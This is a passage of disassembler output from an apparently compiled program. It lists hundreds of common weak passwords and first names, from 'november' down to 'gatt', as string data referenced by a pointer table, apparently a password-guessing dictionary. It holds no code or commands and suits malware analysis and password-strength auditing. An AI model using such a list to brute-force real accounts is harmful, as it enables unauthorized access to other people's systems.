aNovember db 'november',0 ; DATA XREF: ___:00430018o
align 10h
aNovel db 'novel',0 ; DATA XREF: ___:00430014o
align 4
aNova db 'nova',0 ; DATA XREF: ___:00430010o
align 10h
aNoth db 'noth',0 ; DATA XREF: ___:0043000Co
align 4
aNotes db 'notes',0 ; DATA XREF: ___:00430008o
align 10h
aNoreen db 'noreen',0 ; DATA XREF: ___:00430004o
align 4
aNode db 'node',0 ; DATA XREF: ___:00430000o
align 10h
aNobody db 'nobody',0 ; DATA XREF: ___:0042FFFCo
align 4
aNoble db 'noble',0 ; DATA XREF: ___:0042FFF8o
align 10h
aNnaacp db 'nnaacp',0 ; DATA XREF: ___:0042FFF4o
align 4
aNita db 'nita',0 ; DATA XREF: ___:0042FFF0o
align 10h
aNintendo db 'nintendo',0 ; DATA XREF: ___:0042FFECo
align 4
aNightmar db 'nightmar',0 ; DATA XREF: ___:0042FFE8o
align 4
aNight db 'night',0 ; DATA XREF: ___:0042FFE4o
align 10h
aNicotine db 'nicotine',0 ; DATA XREF: ___:0042FFE0o
align 4
aNicole db 'nicole',0 ; DATA XREF: ___:0042FFDCo
align 4
aNice db 'nice',0 ; DATA XREF: ___:0042FFD8o
align 4
aNext db 'next',0 ; DATA XREF: ___:0042FFD4o
align 4
aNewyork db 'newyork',0 ; DATA XREF: ___:0042FFD0o
aNewton db 'newton',0 ; DATA XREF: ___:0042FFCCo
align 4
aNewsgrou db 'newsgrou',0 ; DATA XREF: ___:0042FFC8o
align 10h
aNews db 'news',0 ; DATA XREF: ___:0042FFC4o
align 4
aNewborn db 'newborn',0 ; DATA XREF: ___:0042FFC0o
aNetwork_0 db 'network',0 ; DATA XREF: ___:0042FFBCo
aNetscape db 'netscape',0 ; DATA XREF: ___:0042FFB8o
align 4
aNess db 'ness',0 ; DATA XREF: ___:0042FFB4o
align 4
aNeptune db 'neptune',0 ; DATA XREF: ___:0042FFB0o
aNepenthe db 'nepenthe',0 ; DATA XREF: ___:0042FFACo
align 10h
aNavy db 'navy',0 ; DATA XREF: ___:0042FFA8o
align 4
aNasa db 'nasa',0 ; DATA XREF: ___:0042FFA4o
align 10h
aNapoleon db 'napoleon',0 ; DATA XREF: ___:0042FFA0o
align 4
aNancy db 'nancy',0 ; DATA XREF: ___:0042FF9Co
align 4
aName db 'name',0 ; DATA XREF: ___:0042FF98o
align 4
aNagel db 'nagel',0 ; DATA XREF: ___:0042FF94o
align 4
aMutant db 'mutant',0 ; DATA XREF: ___:0042FF90o
align 4
aMuppets db 'muppets',0 ; DATA XREF: ___:0042FF8Co
aMsdos db 'msdos',0 ; DATA XREF: ___:0042FF88o
align 4
aMpeg db 'mpeg',0 ; DATA XREF: ___:0042FF84o
align 4
aMozart db 'mozart',0 ; DATA XREF: ___:0042FF80o
align 4
aMovies db 'movies',0 ; DATA XREF: ___:0042FF7Co
align 4
aMovie db 'movie',0 ; DATA XREF: ___:0042FF78o
align 4
aMove db 'move',0 ; DATA XREF: ___:0042FF74o
align 4
aMouse db 'mouse',0 ; DATA XREF: ___:0042FF70o
align 4
aMountain db 'mountain',0 ; DATA XREF: ___:0042FF6Co
align 4
aMosaic db 'mosaic',0 ; DATA XREF: ___:0042FF68o
align 10h
aMortgage db 'mortgage',0 ; DATA XREF: ___:0042FF64o
align 4
aMortalco db 'mortalco',0 ; DATA XREF: ___:0042FF60o
align 4
aMortal db 'mortal',0 ; DATA XREF: ___:0042FF5Co
align 10h
aMorris db 'morris',0 ; DATA XREF: ___:0042FF58o
align 4
aMorley db 'morley',0 ; DATA XREF: ___:0042FF54o
align 10h
aMore db 'more',0 ; DATA XREF: ___:0042FF50o
align 4
aMoose db 'moose',0 ; DATA XREF: ___:0042FF4Co
align 10h
aMoor db 'moor',0 ; DATA XREF: ___:0042FF48o
align 4
aMoom db 'moom',0 ; DATA XREF: ___:0042FF44o
align 10h
aMonica db 'monica',0 ; DATA XREF: ___:0042FF40o
align 4
aMonday db 'monday',0 ; DATA XREF: ___:0042FF3Co
align 10h
aMoguls db 'moguls',0 ; DATA XREF: ___:0042FF38o
align 4
aMogul db 'mogul',0 ; DATA XREF: ___:0042FF34o
align 10h
aModem db 'modem',0 ; DATA XREF: ___:0042FF30o
align 4
aMode db 'mode',0 ; DATA XREF: ___:0042FF2Co
align 10h
aMkii db 'mkii',0 ; DATA XREF: ___:0042FF28o
align 4
aMission db 'mission',0 ; DATA XREF: ___:0042FF24o
aMisfit db 'misfit',0 ; DATA XREF: ___:0042FF20o
align 4
aMinsky db 'minsky',0 ; DATA XREF: ___:0042FF1Co
align 10h
aMinimum db 'minimum',0 ; DATA XREF: ___:0042FF18o
aMine db 'mine',0 ; DATA XREF: ___:0042FF14o
align 10h
aMike db 'mike',0 ; DATA XREF: ___:0042FF10o
align 4
aMidieval db 'midieval',0 ; DATA XREF: ___:0042FF0Co
align 4
aMicrosof db 'microsof',0 ; DATA XREF: ___:0042FF08o
align 10h
aMicropro db 'micropro',0 ; DATA XREF: ___:0042FF04o
align 4
aMicrochi db 'microchi',0 ; DATA XREF: ___:0042FF00o
align 4
aMicro db 'micro',0 ; DATA XREF: ___:0042FEFCo
align 10h
aMickey db 'mickey',0 ; DATA XREF: ___:0042FEF8o
align 4
aMichelle db 'michelle',0 ; DATA XREF: ___:0042FEF4o
align 4
aMichele db 'michele',0 ; DATA XREF: ___:0042FEF0o
aMichelan db 'michelan',0 ; DATA XREF: ___:0042FEECo
align 4
aMichel db 'michel',0 ; DATA XREF: ___:0042FEE8o
align 10h
aMichael db 'michael',0 ; DATA XREF: ___:0042FEE4o
aMice db 'mice',0 ; DATA XREF: ___:0042FEE0o
align 10h
aMets db 'mets',0 ; DATA XREF: ___:0042FEDCo
align 4
aMetalica db 'metalica',0 ; DATA XREF: ___:0042FED8o
align 4
aMetalhea db 'metalhea',0 ; DATA XREF: ___:0042FED4o
align 10h
aMetal db 'metal',0 ; DATA XREF: ___:0042FED0o
align 4
aMerlin db 'merlin',0 ; DATA XREF: ___:0042FECCo
align 10h
aMercury db 'mercury',0 ; DATA XREF: ___:0042FEC8o
aMenu db 'menu',0 ; DATA XREF: ___:0042FEC4o
align 10h
aMenace db 'menace',0 ; DATA XREF: ___:0042FEC0o
align 4
aMemory db 'memory',0 ; DATA XREF: ___:0042FEBCo
align 10h
aMember db 'member',0 ; DATA XREF: ___:0042FEB8o
align 4
aMelrose db 'melrose',0 ; DATA XREF: ___:0042FEB4o
aMellon db 'mellon',0 ; DATA XREF: ___:0042FEB0o
align 4
aMelissa db 'melissa',0 ; DATA XREF: ___:0042FEACo
aMegan db 'megan',0 ; DATA XREF: ___:0042FEA8o
align 4
aMegadeth db 'megadeth',0 ; DATA XREF: ___:0042FEA4o
align 4
aMegabyte db 'megabyte',0 ; DATA XREF: ___:0042FEA0o
align 10h
aMeagan db 'meagan',0 ; DATA XREF: ___:0042FE9Co
align 4
aMaurice db 'maurice',0 ; DATA XREF: ___:0042FE98o
aMath db 'math',0 ; DATA XREF: ___:0042FE94o
align 4
aMaster db 'master',0 ; DATA XREF: ___:0042FE90o
align 10h
aMason db 'mason',0 ; DATA XREF: ___:0042FE8Co
align 4
aMary db 'mary',0 ; DATA XREF: ___:0042FE88o
align 10h
aMarvin db 'marvin',0 ; DATA XREF: ___:0042FE84o
align 4
aMarty db 'marty',0 ; DATA XREF: ___:0042FE80o
align 10h
aMars db 'mars',0 ; DATA XREF: ___:0042FE7Co
align 4
aMarriage db 'marriage',0 ; DATA XREF: ___:0042FE78o
align 4
aMarni db 'marni',0 ; DATA XREF: ___:0042FE74o
align 4
aMarkus db 'markus',0 ; DATA XREF: ___:0042FE70o
align 4
aMark db 'mark',0 ; DATA XREF: ___:0042FE6Co
align 4
aMarines db 'marines',0 ; DATA XREF: ___:0042FE68o
aMarijuan db 'marijuan',0 ; DATA XREF: ___:0042FE64o
align 10h
aMarietta db 'marietta',0 ; DATA XREF: ___:0042FE60o
align 4
aMariens db 'mariens',0 ; DATA XREF: ___:0042FE5Co
aMaria db 'maria',0 ; DATA XREF: ___:0042FE58o
align 4
aMarcy db 'marcy',0 ; DATA XREF: ___:0042FE54o
align 4
aMarci db 'marci',0 ; DATA XREF: ___:0042FE50o
align 4
aMara db 'mara',0 ; DATA XREF: ___:0042FE4Co
align 4
aManager db 'manager',0 ; DATA XREF: ___:0042FE48o
aMana db 'mana',0 ; DATA XREF: ___:0042FE44o
align 4
aMalcom db 'malcom',0 ; DATA XREF: ___:0042FE40o
align 4
aMalcolm db 'malcolm',0 ; DATA XREF: ___:0042FE3Co
aMaint db 'maint',0 ; DATA XREF: ___:0042FE38o
align 4
aMail db 'mail',0 ; DATA XREF: ___:0042FE34o
align 4
aMagnet db 'magnet',0 ; DATA XREF: ___:0042FE30o
align 4
aMagic db 'magic',0 ; DATA XREF: ___:0042FE2Co
align 4
aMaggot db 'maggot',0 ; DATA XREF: ___:0042FE28o
align 4
aMacro db 'macro',0 ; DATA XREF: ___:0042FE24o
align 4
aMack db 'mack',0 ; DATA XREF: ___:0042FE20o
align 4
aMacintos db 'macintos',0 ; DATA XREF: ___:0042FE1Co
align 4
aMachine db 'machine',0 ; DATA XREF: ___:0042FE18o
aLynne db 'lynne',0 ; DATA XREF: ___:0042FE14o
align 4
aLynn db 'lynn',0 ; DATA XREF: ___:0042FE10o
align 10h
aLust db 'lust',0 ; DATA XREF: ___:0042FE0Co
align 4
aLuke db 'luke',0 ; DATA XREF: ___:0042FE08o
align 10h
aLude db 'lude',0 ; DATA XREF: ___:0042FE04o
align 4
aLucy db 'lucy',0 ; DATA XREF: ___:0042FE00o
align 10h
aLucus db 'lucus',0 ; DATA XREF: ___:0042FDFCo
align 4
aLuck db 'luck',0 ; DATA XREF: ___:0042FDF8o
align 10h
aLover db 'lover',0 ; DATA XREF: ___:0042FDF4o
align 4
aLovebug db 'lovebug',0 ; DATA XREF: ___:0042FDF0o
aLouis db 'louis',0 ; DATA XREF: ___:0042FDECo
align 4
aLoser db 'loser',0 ; DATA XREF: ___:0042FDE8o
align 10h
aLorraine db 'lorraine',0 ; DATA XREF: ___:0042FDE4o
align 4
aLorin db 'lorin',0 ; DATA XREF: ___:0042FDE0o
align 4
aLori db 'lori',0 ; DATA XREF: ___:0042FDDCo
align 4
aLore db 'lore',0 ; DATA XREF: ___:0042FDD8o
align 4
aLoose db 'loose',0 ; DATA XREF: ___:0042FDD4o
align 4
aLolopc db 'lolopc',0 ; DATA XREF: ___:0042FDD0o
align 4
aLois db 'lois',0 ; DATA XREF: ___:0042FDCCo
align 4
aLogout db 'logout',0 ; DATA XREF: ___:0042FDC8o
align 4
aLoginwor db 'loginwor',0 ; DATA XREF: ___:0042FDC4o
align 10h
aLogic db 'logic',0 ; DATA XREF: ___:0042FDC0o
align 4
aLockword db 'lockword',0 ; DATA XREF: ___:0042FDBCo
align 4
aLockout db 'lockout',0 ; DATA XREF: ___:0042FDB8o
aLock db 'lock',0 ; DATA XREF: ___:0042FDB4o
align 4
aLoad db 'load',0 ; DATA XREF: ___:0042FDB0o
align 4
aLive db 'live',0 ; DATA XREF: ___:0042FDACo
align 4
aLiteratu db 'literatu',0 ; DATA XREF: ___:0042FDA8o
align 10h
aLisp db 'lisp',0 ; DATA XREF: ___:0042FDA4o
align 4
aLisa db 'lisa',0 ; DATA XREF: ___:0042FDA0o
align 10h
aLips db 'lips',0 ; DATA XREF: ___:0042FD9Co
align 4
aLion db 'lion',0 ; DATA XREF: ___:0042FD98o
align 10h
aLink db 'link',0 ; DATA XREF: ___:0042FD94o
align 4
aLinda db 'linda',0 ; DATA XREF: ___:0042FD90o
align 10h
aLimited db 'limited',0 ; DATA XREF: ___:0042FD8Co
aLimbaugh db 'limbaugh',0 ; DATA XREF: ___:0042FD88o
align 4
aLima db 'lima',0 ; DATA XREF: ___:0042FD84o
align 4
aLightsab db 'lightsab',0 ; DATA XREF: ___:0042FD80o
align 4
aLight db 'light',0 ; DATA XREF: ___:0042FD7Co
align 10h
aLife db 'life',0 ; DATA XREF: ___:0042FD78o
align 4
aLicker db 'licker',0 ; DATA XREF: ___:0042FD74o
align 10h
aLick db 'lick',0 ; DATA XREF: ___:0042FD70o
align 4
aLibrary db 'library',0 ; DATA XREF: ___:0042FD6Co
aLiberal db 'liberal',0 ; DATA XREF: ___:0042FD68o
aLexluthe db 'lexluthe',0 ; DATA XREF: ___:0042FD64o
align 4
aLewis db 'lewis',0 ; DATA XREF: ___:0042FD60o
align 4
aLetmein db 'letmein',0 ; DATA XREF: ___:0042FD5Co
aLeslie db 'leslie',0 ; DATA XREF: ___:0042FD58o
align 4
aLesbian db 'lesbian',0 ; DATA XREF: ___:0042FD54o
aLeroy db 'leroy',0 ; DATA XREF: ___:0042FD50o
align 4
aLeland db 'leland',0 ; DATA XREF: ___:0042FD4Co
align 4
aLegal db 'legal',0 ; DATA XREF: ___:0042FD48o
align 4
aLeftwing db 'leftwing',0 ; DATA XREF: ___:0042FD44o
align 4
aLeft db 'left',0 ; DATA XREF: ___:0042FD40o
align 10h
aLebesgue db 'lebesgue',0 ; DATA XREF: ___:0042FD3Co
align 4
aLeah db 'leah',0 ; DATA XREF: ___:0042FD38o
align 4
aLazer db 'lazer',0 ; DATA XREF: ___:0042FD34o
align 4
aLazarus db 'lazarus',0 ; DATA XREF: ___:0042FD30o
aLava db 'lava',0 ; DATA XREF: ___:0042FD2Co
align 4
aLaura db 'laura',0 ; DATA XREF: ___:0042FD28o
align 4
aLaser db 'laser',0 ; DATA XREF: ___:0042FD24o
align 4
aLarry db 'larry',0 ; DATA XREF: ___:0042FD20o
align 4
aLarkin db 'larkin',0 ; DATA XREF: ___:0042FD1Co
align 4
aLara db 'lara',0 ; DATA XREF: ___:0042FD18o
align 4
aLaptop db 'laptop',0 ; DATA XREF: ___:0042FD14o
align 4
aLana db 'lana',0 ; DATA XREF: ___:0042FD10o
align 4
aLaminati db 'laminati',0 ; DATA XREF: ___:0042FD0Co
align 10h
aLambda db 'lambda',0 ; DATA XREF: ___:0042FD08o
align 4
aLakers db 'lakers',0 ; DATA XREF: ___:0042FD04o
align 10h
aLadle db 'ladle',0 ; DATA XREF: ___:0042FD00o
align 4
aLadies db 'ladies',0 ; DATA XREF: ___:0042FCFCo
align 10h
aKristy db 'kristy',0 ; DATA XREF: ___:0042FCF8o
align 4
aKristine db 'kristine',0 ; DATA XREF: ___:0042FCF4o
align 4
aKristin db 'kristin',0 ; DATA XREF: ___:0042FCF0o
aKristie db 'kristie',0 ; DATA XREF: ___:0042FCECo
aKristi db 'kristi',0 ; DATA XREF: ___:0042FCE8o
align 4
aKristen db 'kristen',0 ; DATA XREF: ___:0042FCE4o
aKrista db 'krista',0 ; DATA XREF: ___:0042FCE0o
align 4
aKnown db 'known',0 ; DATA XREF: ___:0042FCDCo
align 4
aKnightma db 'knightma',0 ; DATA XREF: ___:0042FCD8o
align 10h
aKnight db 'knight',0 ; DATA XREF: ___:0042FCD4o
align 4
aKnife db 'knife',0 ; DATA XREF: ___:0042FCD0o
align 10h
aKlingon db 'klingon',0 ; DATA XREF: ___:0042FCCCo
aKitten db 'kitten',0 ; DATA XREF: ___:0042FCC8o
align 10h
aKissmyas db 'kissmyas',0 ; DATA XREF: ___:0042FCC4o
align 4
aKiss db 'kiss',0 ; DATA XREF: ___:0042FCC0o
align 4
aKirkland db 'kirkland',0 ; DATA XREF: ___:0042FCBCo
align 10h
aKirk db 'kirk',0 ; DATA XREF: ___:0042FCB8o
align 4
aKing db 'king',0 ; DATA XREF: ___:0042FCB4o
align 10h
aKimberly db 'kimberly',0 ; DATA XREF: ___:0042FCB0o
align 4
aKilo db 'kilo',0 ; DATA XREF: ___:0042FCACo
align 4
aKillthem db 'killthem',0 ; DATA XREF: ___:0042FCA8o
align 10h
aKill db 'kill',0 ; DATA XREF: ___:0042FCA4o
align 4
aKids db 'kids',0 ; DATA XREF: ___:0042FCA0o
align 10h
aKeyword db 'keyword',0 ; DATA XREF: ___:0042FC9Co
aKeyin db 'keyin',0 ; DATA XREF: ___:0042FC98o
align 10h
aKeybord db 'keybord',0 ; DATA XREF: ___:0042FC94o
aKewl db 'kewl',0 ; DATA XREF: ___:0042FC90o
align 10h
aKevin db 'kevin',0 ; DATA XREF: ___:0042FC8Co
align 4
aKerry db 'kerry',0 ; DATA XREF: ___:0042FC88o
align 10h
aKerrie db 'kerrie',0 ; DATA XREF: ___:0042FC84o
align 4
aKerri db 'kerri',0 ; DATA XREF: ___:0042FC80o
align 10h
aKernel db 'kernel',0 ; DATA XREF: ___:0042FC7Co
align 4
aKermit db 'kermit',0 ; DATA XREF: ___:0042FC78o
align 10h
aKeri db 'keri',0 ; DATA XREF: ___:0042FC74o
align 4
aKelly db 'kelly',0 ; DATA XREF: ___:0042FC70o
align 10h
aKatrina db 'katrina',0 ; DATA XREF: ___:0042FC6Co
aKatina db 'katina',0 ; DATA XREF: ___:0042FC68o
align 10h
aKathy db 'kathy',0 ; DATA XREF: ___:0042FC64o
align 4
aKathrine db 'kathrine',0 ; DATA XREF: ___:0042FC60o
align 4
aKathleen db 'kathleen',0 ; DATA XREF: ___:0042FC5Co
align 10h
aKate db 'kate',0 ; DATA XREF: ___:0042FC58o
align 4
aKatana db 'katana',0 ; DATA XREF: ___:0042FC54o
align 10h
aKarina db 'karina',0 ; DATA XREF: ___:0042FC50o
align 4
aKarie db 'karie',0 ; DATA XREF: ___:0042FC4Co
align 10h
aKaren db 'karen',0 ; DATA XREF: ___:0042FC48o
align 4
aKaka db 'kaka',0 ; DATA XREF: ___:0042FC44o
align 10h
aJupiter db 'jupiter',0 ; DATA XREF: ___:0042FC40o
aJune db 'june',0 ; DATA XREF: ___:0042FC3Co
align 10h
aJuliet db 'juliet',0 ; DATA XREF: ___:0042FC38o
align 4
aJulie db 'julie',0 ; DATA XREF: ___:0042FC34o
align 10h
aJulia db 'julia',0 ; DATA XREF: ___:0042FC30o
align 4
aJuicy db 'juicy',0 ; DATA XREF: ___:0042FC2Co
align 10h
aJuggle db 'juggle',0 ; DATA XREF: ___:0042FC28o
align 4
aJudy db 'judy',0 ; DATA XREF: ___:0042FC24o
align 10h
aJudith db 'judith',0 ; DATA XREF: ___:0042FC20o
align 4
aJoyce db 'joyce',0 ; DATA XREF: ___:0042FC1Co
align 10h
aJournal db 'journal',0 ; DATA XREF: ___:0042FC18o
aJoshua db 'joshua',0 ; DATA XREF: ___:0042FC14o
align 10h
aJoseph db 'joseph',0 ; DATA XREF: ___:0042FC10o
align 4
aJohnny db 'johnny',0 ; DATA XREF: ___:0042FC0Co
align 10h
aJohndoe db 'johndoe',0 ; DATA XREF: ___:0042FC08o
aJohn db 'john',0 ; DATA XREF: ___:0042FC04o
align 10h
aJody db 'jody',0 ; DATA XREF: ___:0042FC00o
align 4
aJoanne db 'joanne',0 ; DATA XREF: ___:0042FBFCo
align 10h
aJixian db 'jixian',0 ; DATA XREF: ___:0042FBF8o
align 4
aJill db 'jill',0 ; DATA XREF: ___:0042FBF4o
align 10h
aJewelry db 'jewelry',0 ; DATA XREF: ___:0042FBF0o
aJester db 'jester',0 ; DATA XREF: ___:0042FBECo
align 10h
aJessica db 'jessica',0 ; DATA XREF: ___:0042FBE8o
aJerusale db 'jerusale',0 ; DATA XREF: ___:0042FBE4o
align 4
aJerry db 'jerry',0 ; DATA XREF: ___:0042FBE0o
align 4
aJenny db 'jenny',0 ; DATA XREF: ___:0042FBDCo
align 4
aJennifer db 'jennifer',0 ; DATA XREF: ___:0042FBD8o
align 10h
aJenni db 'jenni',0 ; DATA XREF: ___:0042FBD4o
align 4
aJeff db 'jeff',0 ; DATA XREF: ___:0042FBD0o
align 10h
aJeanne db 'jeanne',0 ; DATA XREF: ___:0042FBCCo
align 4
aJean db 'jean',0 ; DATA XREF: ___:0042FBC8o
align 10h
aJazz db 'jazz',0 ; DATA XREF: ___:0042FBC4o
align 4
aJava db 'java',0 ; DATA XREF: ___:0042FBC0o
align 10h
aJasmin db 'jasmin',0 ; DATA XREF: ___:0042FBBCo
align 4
aJapan db 'japan',0 ; DATA XREF: ___:0042FBB8o
align 10h
aJanie db 'janie',0 ; DATA XREF: ___:0042FBB4o
align 4
aJanice db 'janice',0 ; DATA XREF: ___:0042FBB0o
align 10h
aJanet db 'janet',0 ; DATA XREF: ___:0042FBACo
align 4
aJane db 'jane',0 ; DATA XREF: ___:0042FBA8o
align 10h
aJail db 'jail',0 ; DATA XREF: ___:0042FBA4o
align 4
aJackie db 'jackie',0 ; DATA XREF: ___:0042FBA0o
align 10h
aIsis db 'isis',0 ; DATA XREF: ___:0042FB9Co
align 4
aIrishman db 'irishman',0 ; DATA XREF: ___:0042FB98o
align 4
aIrene db 'irene',0 ; DATA XREF: ___:0042FB94o
align 4
aInvent db 'invent',0 ; DATA XREF: ___:0042FB90o
align 4
aInteger db 'integer',0 ; DATA XREF: ___:0042FB8Co
aInside db 'inside',0 ; DATA XREF: ___:0042FB88o
align 4
aInput db 'input',0 ; DATA XREF: ___:0042FB84o
align 4
aInnocuou db 'innocuou',0 ; DATA XREF: ___:0042FB80o
align 4
aInna db 'inna',0 ; DATA XREF: ___:0042FB7Co
align 10h
aIngrid db 'ingrid',0 ; DATA XREF: ___:0042FB78o
align 4
aIngress db 'ingress',0 ; DATA XREF: ___:0042FB74o
aIngres db 'ingres',0 ; DATA XREF: ___:0042FB70o
align 4
aIndians db 'indians',0 ; DATA XREF: ___:0042FB6Co
aIndiana db 'indiana',0 ; DATA XREF: ___:0042FB68o
aIndian db 'indian',0 ; DATA XREF: ___:0042FB64o
align 10h
aIndia db 'india',0 ; DATA XREF: ___:0042FB60o
align 4
aInclude db 'include',0 ; DATA XREF: ___:0042FB5Co
aImperial db 'imperial',0 ; DATA XREF: ___:0042FB58o
align 4
aImmortal db 'immortal',0 ; DATA XREF: ___:0042FB54o
align 4
aImbrogli db 'imbrogli',0 ; DATA XREF: ___:0042FB50o
align 4
aImage db 'image',0 ; DATA XREF: ___:0042FB4Co
align 4
aIllumina db 'illumina',0 ; DATA XREF: ___:0042FB48o
align 4
aIcecream db 'icecream',0 ; DATA XREF: ___:0042FB44o
align 4
aHypertxt db 'hypertxt',0 ; DATA XREF: ___:0042FB40o
align 10h
aHyper db 'hyper',0 ; DATA XREF: ___:0042FB3Co
align 4
aHydrogen db 'hydrogen',0 ; DATA XREF: ___:0042FB38o
align 4
aHutchins db 'hutchins',0 ; DATA XREF: ___:0042FB34o
align 10h
aHunter db 'hunter',0 ; DATA XREF: ___:0042FB30o
align 4
aHunt db 'hunt',0 ; DATA XREF: ___:0042FB2Co
align 10h
aHttp_0 db 'http',0 ; DATA XREF: ___:0042FB28o
align 4
aHotel db 'hotel',0 ; DATA XREF: ___:0042FB24o
align 10h
aHotdog db 'hotdog',0 ; DATA XREF: ___:0042FB20o
align 4
aHost db 'host',0 ; DATA XREF: ___:0042FB1Co
align 10h
aHorus db 'horus',0 ; DATA XREF: ___:0042FB18o
align 4
aHorse db 'horse',0 ; DATA XREF: ___:0042FB14o
align 10h
aHorror db 'horror',0 ; DATA XREF: ___:0042FB10o
align 4
aHorrible db 'horrible',0 ; DATA XREF: ___:0042FB0Co
align 4
aHorny db 'horny',0 ; DATA XREF: ___:0042FB08o
align 4
aHooters db 'hooters',0 ; DATA XREF: ___:0042FB04o
aHooker db 'hooker',0 ; DATA XREF: ___:0042FB00o
align 4
aHoney db 'honey',0 ; DATA XREF: ___:0042FAFCo
align 4
aHomework db 'homework',0 ; DATA XREF: ___:0042FAF8o
align 10h
aHomer db 'homer',0 ; DATA XREF: ___:0042FAF4o
align 4
aHomepage db 'homepage',0 ; DATA XREF: ___:0042FAF0o
align 4
aHollywoo db 'hollywoo',0 ; DATA XREF: ___:0042FAECo
align 10h
aHolly db 'holly',0 ; DATA XREF: ___:0042FAE8o
align 4
aHole db 'hole',0 ; DATA XREF: ___:0042FAE4o
align 10h
aHits db 'hits',0 ; DATA XREF: ___:0042FAE0o
align 4
aHitler db 'hitler',0 ; DATA XREF: ___:0042FADCo
align 10h
aHighland db 'highland',0 ; DATA XREF: ___:0042FAD8o
align 4
aHigh db 'high',0 ; DATA XREF: ___:0042FAD4o
align 4
aHidden db 'hidden',0 ; DATA XREF: ___:0042FAD0o
align 4
aHibernia db 'hibernia',0 ; DATA XREF: ___:0042FACCo
align 4
aHiawatha db 'hiawatha',0 ; DATA XREF: ___:0042FAC8o
align 4
aHexadeci db 'hexadeci',0 ; DATA XREF: ___:0042FAC4o
align 10h
aHewlett db 'hewlett',0 ; DATA XREF: ___:0042FAC0o
aHeroin db 'heroin',0 ; DATA XREF: ___:0042FABCo
align 10h
aHero db 'hero',0 ; DATA XREF: ___:0042FAB8o
align 4
aHerbert db 'herbert',0 ; DATA XREF: ___:0042FAB4o
aHerb db 'herb',0 ; DATA XREF: ___:0042FAB0o
align 4
aHelp db 'help',0 ; DATA XREF: ___:0042FAACo
align 10h
aHello db 'hello',0 ; DATA XREF: ___:0042FAA8o
align 4
aHell db 'hell',0 ; DATA XREF: ___:0042FAA4o
align 10h
aHeinlein db 'heinlein',0 ; DATA XREF: ___:0042FAA0o
align 4
aHeidi db 'heidi',0 ; DATA XREF: ___:0042FA9Co
align 4
aHebrides db 'hebrides',0 ; DATA XREF: ___:0042FA98o
align 10h
aHeather db 'heather',0 ; DATA XREF: ___:0042FA94o
aHeathen db 'heathen',0 ; DATA XREF: ___:0042FA90o
aHeat db 'heat',0 ; DATA XREF: ___:0042FA8Co
align 4
aHeadbang db 'headbang',0 ; DATA XREF: ___:0042FA88o
align 4
aHead db 'head',0 ; DATA XREF: ___:0042FA84o
align 4
aHawaii db 'hawaii',0 ; DATA XREF: ___:0042FA80o
align 4
aHaven db 'haven',0 ; DATA XREF: ___:0042FA7Co
align 4
aHate db 'hate',0 ; DATA XREF: ___:0042FA78o
align 4
aHarvey db 'harvey',0 ; DATA XREF: ___:0042FA74o
align 4
aHarold db 'harold',0 ; DATA XREF: ___:0042FA70o
align 4
aHarmony db 'harmony',0 ; DATA XREF: ___:0042FA6Co
aHarddriv db 'harddriv',0 ; DATA XREF: ___:0042FA68o
align 4
aHardcore db 'hardcore',0 ; DATA XREF: ___:0042FA64o
align 4
aHard db 'hard',0 ; DATA XREF: ___:0042FA60o
align 4
aHappenin db 'happenin',0 ; DATA XREF: ___:0042FA5Co
align 4
aHandjob db 'handjob',0 ; DATA XREF: ___:0042FA58o
aHandily db 'handily',0 ; DATA XREF: ___:0042FA54o
aHandel db 'handel',0 ; DATA XREF: ___:0042FA50o
align 10h
aHamster db 'hamster',0 ; DATA XREF: ___:0042FA4Co
aHamlet db 'hamlet',0 ; DATA XREF: ___:0042FA48o
align 10h
aHallowee db 'hallowee',0 ; DATA XREF: ___:0042FA44o
align 4
aHair db 'hair',0 ; DATA XREF: ___:0042FA40o
align 4
aHagar db 'hagar',0 ; DATA XREF: ___:0042FA3Co
align 4
aHacked db 'hacked',0 ; DATA XREF: ___:0042FA38o
align 4
aHack db 'hack',0 ; DATA XREF: ___:0042FA34o
align 4
aGuntis db 'guntis',0 ; DATA XREF: ___:0042FA30o
align 4
aGumption db 'gumption',0 ; DATA XREF: ___:0042FA2Co
align 10h
aGuitar db 'guitar',0 ; DATA XREF: ___:0042FA28o
align 4
aGuess db 'guess',0 ; DATA XREF: ___:0042FA24o
align 10h
aGucci db 'gucci',0 ; DATA XREF: ___:0042FA20o
align 4
aGuardian db 'guardian',0 ; DATA XREF: ___:0042FA1Co
align 4
aGryphon db 'gryphon',0 ; DATA XREF: ___:0042FA18o
aGroup db 'group',0 ; DATA XREF: ___:0042FA14o
align 4
aGreen db 'green',0 ; DATA XREF: ___:0042FA10o
align 4
aGreat db 'great',0 ; DATA XREF: ___:0042FA0Co
align 4
aGrant db 'grant',0 ; DATA XREF: ___:0042FA08o
align 4
aGrand db 'grand',0 ; DATA XREF: ___:0042FA04o
align 4
aGrahm db 'grahm',0 ; DATA XREF: ___:0042FA00o
align 4
aGraham db 'graham',0 ; DATA XREF: ___:0042F9FCo
align 4
aGrades db 'grades',0 ; DATA XREF: ___:0042F9F8o
align 4
aGovermen db 'govermen',0 ; DATA XREF: ___:0042F9F4o
align 4
aGouge db 'gouge',0 ; DATA XREF: ___:0042F9F0o
align 10h
aGosling db 'gosling',0 ; DATA XREF: ___:0042F9ECo
aGorges db 'gorges',0 ; DATA XREF: ___:0042F9E8o
align 10h
aGorgeous db 'gorgeous',0 ; DATA XREF: ___:0042F9E4o
align 4
aGood db 'good',0 ; DATA XREF: ___:0042F9E0o
align 4
aGolfer db 'golfer',0 ; DATA XREF: ___:0042F9DCo
align 4
aGolf db 'golf',0 ; DATA XREF: ___:0042F9D8o
align 4
aGolden db 'golden',0 ; DATA XREF: ___:0042F9D4o
align 4
aGold db 'gold',0 ; DATA XREF: ___:0042F9D0o
align 4
aGlacier db 'glacier',0 ; DATA XREF: ___:0042F9CCo
aGirl db 'girl',0 ; DATA XREF: ___:0042F9C8o
align 4
aGinger db 'ginger',0 ; DATA XREF: ___:0042F9C4o
align 4
aGina db 'gina',0 ; DATA XREF: ___:0042F9C0o
align 4
aGigabyte db 'gigabyte',0 ; DATA XREF: ___:0042F9BCo
align 10h
aGibson db 'gibson',0 ; DATA XREF: ___:0042F9B8o
align 4
aGhost db 'ghost',0 ; DATA XREF: ___:0042F9B4o
align 10h
aGertrude db 'gertrude',0 ; DATA XREF: ___:0042F9B0o
align 4
aGerm db 'germ',0 ; DATA XREF: ___:0042F9ACo
align 4
aGeorge db 'george',0 ; DATA XREF: ___:0042F9A8o
align 4
aGauss db 'gauss',0 ; DATA XREF: ___:0042F9A4o
align 4
aGatt db 'gatt',0 ; DATA XREF: ___:0042F9A0o
align 4
